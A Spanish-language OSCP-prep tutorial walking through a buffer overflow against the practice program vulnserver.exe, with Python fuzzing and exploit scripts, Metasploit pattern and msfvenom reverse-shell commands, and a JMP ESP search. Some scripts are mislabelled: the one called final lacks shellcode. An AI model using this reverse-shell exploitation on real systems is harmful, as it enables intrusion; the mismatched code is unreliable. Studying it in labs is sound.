Durante el último tiempo, algunos amigos me han pedido que los ayude a preparar para el examen OSCP, el cual tuve la suerte de aprobar hace poco, uno de los tópicos de esta certificación es el buffer overflow, por lo que me anime a hacer un webinar en conjunto con los amigos de HTB l4t1n, la idea es mostrar cómo sería un “hello world” de buffer overflow, es decir, mostrar una de las formas más "sencillas" de explotar e introducir código usando un desbordamiento que nos permita escribir en espacios restringidos y tomar control de la ejecución del programa
Si no quieres leer, puedes ver el webinar con este mismo ejercicio en este enlace :
Y bueno que es un buffer overflow? Tema para otra ocasión... jejeje, Si quieres aprender como funciona este ataque, de que se compone y cómo opera a todo nivel te invito a revisar los siguientes enlaces, ya que en este artículo solo nos concentramos en cómo explotar.
https://www.exploit-db.com/papers/13147
https://en.wikipedia.org/wiki/Stack_buffer_overflow
Para lograr nuestro objetivo usaremos un programa diseñado especialmente para practicar este tipo de vulnerabilidades llamado vulnserver.exe, el cual pueden encontrar en el siguiente enlace. Junto con algunos scripts que pueden encontrar en un repositorio que he creado en github.
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
https://github.com/dplastico/bufferclase
El programa al ejecutarse no muestra nada más que el programa ejecutándose y esperando conexiones en el puerto 9999 SI revisamos (en esta oportunidad vía netcat) la conexión hacia la IP, en este caso 192.168.0.184.
El ejercicio lo desarrollaremos sobre el ya famoso (y sin soporte) Windows XP, eso es ya que como queremos explicar Buffer Overflow en su forma más simple (sin protecciones de memoria) usamos este SO el cual presenta muy poco de lo anterior y por tanto nos hara mas facil la tarea, esto no quita que para ambientes más avanzados, la tarea no sea la misma o similar, la teoría de un BOF en su base es siempre la misma. Además usaremos la opción TRUN, ya que el programa presenta varias vulnerabilidades para explotar, pero nosotros nos concentramos en la anterior, podemos probar la conexión a vulnserver, ejecutando netcat:
FUZZ: qué es y cómo funciona?
Para no ahondar revisemos la definición de wikipedia:
“ es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador”
Por lo tanto para poder comprobar que existe un overflow debemos, en este caso, enviar una cantidad de caracteres, que generen un "crush", para eso podemos ejecutar el siguiente script en python que nos ayudará a determinar la cantidad de bytes (caracteres en este caso) que enviamos para generar el crush, esto nos ayudará para tener un número que nos permita mantener la consistencia a la hora de crear nuestro exploit
#!/usr/bin/python
import socket
import sys
#Fuzz parametro TRUN
pre_buff= "TRUN /../: "
buff ="A" * 100
end_buff = '\r\n'
#el loop
while True:
buff = buff+"A"*100
final_buff = pre_buff+buff+end_buff
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.193', 9999))
print "Fuzzeando con %d bytes" % len(buff)
sock.send(final_buff)
sock.recv(1024)
sock.close()
except:
print "Server deja de responder a los %d bytes enviados" % len(buff)
exit()
Podemos observar, que nuestro programa vulnserver.exe, detiene su operación y termina su ejecución con un error a los 2700 bytes enviados. GENIAL! Ya podemos terminar la ejecución del programa y podemos comenzar a trabajar en nuestro exploit
Para replicar nuestro fuzzer creamos una POC que envíe 2700 bytes de caracteres letra “A” y genera la caída, este script usaremos de base para construir nuestro exploit, y esta vez lo ejecutaremos en el debugger (immunity debugger)
#!/usr/bin/python
import socket
import sys
buffer = "A" * 2700
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.193', 9999))
s.send(('TRUN /../: '+ buffer+'\r\n'))
#s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.close()
except:
print "Sin conexion al servidor"
Ahora debemos identificar nuestra dirección de retorno, EIP, por lo que debemos identificar qye byte es en el que comienza a sobreescribirse el EIP para así poder luego manipularlo, para esto usaremos la herramientas de metasploit, pattern_create y pattern_offset
Primero generamos un patrón único de 2700 bytes con el siguiente comando
msf-pattern_create -l 2700
Luego añadimos esto a nuestro script de POC para así poder enviar este patrón, observamos en nuestro debugger que el EIP recae exactamente en los caracteres:
Si observamos con detención el debugger al momento del crush podemos ver el valor de EIP al momento del “crush” 433766F43
Esto luego contrastamos y contra la herramienta pattern_offset, que al hacer el query nos indica que el EIP comienza a escribirse justo sobre el byte 2001.
msf-pattern_offset -l 2700 -q "43376F43"
Super! Ahora podemos controlar el EIP escribiendo la dirección de retorno que queramos! Para comprobar que esto es así, ejecutaremos la siguiente prueba, primero llenaremos de letras A el buffer hasta la posición 2001, para luego enviar 4 bytes de letras “B” (para simular el EIP) y luego llenaremos de letras “C” manteniendo consistencia y usando solo 2700 bytes.
Ya podemos manipular nuestra dirección de retorno, pero antes de seguir avanzando en escribir nuestro código, debemos chequear que si existen caracteres “malos” o “badcharacteres” los cuales no están permitidos en el programa o bien generen alguna acción diferente, para esto la forma manual de hacerlo es escribiendo estos caracteres justo después de nuestro EIP y ver que puedan agregarse, en este caso sabemos que el único carácter que provoca esto es “\x00” ya que este carácter de escape normalmente genera conflicto.
Esto lo podemos lograr con el siguien script usando la variable badchars:
#!/usr/bin/python
import socket
import sys
buffer = "A" * 2700
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.193', 9999))
s.send(('TRUN /../: '+ buffer+'\r\n'))
#s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.close()
except:
print "Sin conexion al servidor"
Ahora podemos construir nuestro código, lo haremos en lenguaje shellcode, y para esto nuevamente usaremos una herramienta de metasploit, msfvenom, con la cual para este ejemplo generamos una shell reversa desde nuestro windows, hacia nuestra máquina.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.0.164 lport=4455 -b "\x00" EXITFUNC=thread -f python -v shellcode
OK! Ya tenemos todo listo, pero… que dirección de retorno podemos ocupar para ejecutar nuestro código? De momento solo estamos escribiendo letras “B” por lo que debemos encontrar una dirección de retorno válida, que nos permita “saltar” hacia alguna parte en memoria donde esté nuestro código, el cual notamos cae dentro de ESP.
Esto podemos conseguirlo utilizando el módulo mona (escrito en pyhton) el cual instalamos en nuestro debugger y nos permitirá observar los módulos del programa usando el comando :
mona modules!
Al cargar los módulos podemos observar los mismos y sus protecciones, trabajaremos sobre el dll sin protecciones essfunc.dll, cargando los ejecutables, podemos encontrar una dirección de retorno dentro del mismo en la dirección hacia ESP, este “opcode” es llamado JMP ESP (siglas para JUMP ESP, o salto hacia ESP)
Ejecutando ctrl + podemos buscar por “JMP ESP” dentro de la caja de busqueda que aparece y encontramos la direccion 625011AF
El mismo resultado se puede obtener buscando el valor hexadeximal del “opcode” JMP ESP, o sea “FF E4” dentro del módulo usando el siguiente comando:
mona find - s “\xff\xe4” -m essfunc.dll
Genial tenemos nuestra dirección de retorno ahora nuestro exploit está listo! Que nos falta? Pues no uno, si no que dos detalles… Dado que estamos trabajando en arquitectura x86, la dirección de retorno debe ser escrita en formato “little endian” el cual, de manera simple es nada más que nuestra dirección de retorno, con los bytes invertidos es decir AF115062, además, considerando que nuestro shellcode se ejecuta justo después de la dirección de retorno, como medida de precaución insertamos unos “NOP” o comandos de “ no operación” (es decir el sistema no hará nada) para no ejecutar nuestro código justo luego de nuestro salto, modificamos el código para que luzca finalmente así (considerar que deben crear el shellcode propio para cada caso)
#!/usr/bin/python
import socket
import sys
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
#direccion de retorno
buffer = "A" * 2001 + "B" * 4 + badchars + "C" * (2700 - 2001 - 4 - len(badchars))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.184', 9999))
s.send(('TRUN /../: '+ buffer+'\r\n'))
#s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.close()
except:
print "Sin conexion al servidor"
Ahora podemos ejecutar nuestro exploit! Configuramos nuestro equipo remoto y listo! Buffer Overflow ready :) nuestra reverse shell se ejecuta remota en el servidor!
Espero que les haya gustado!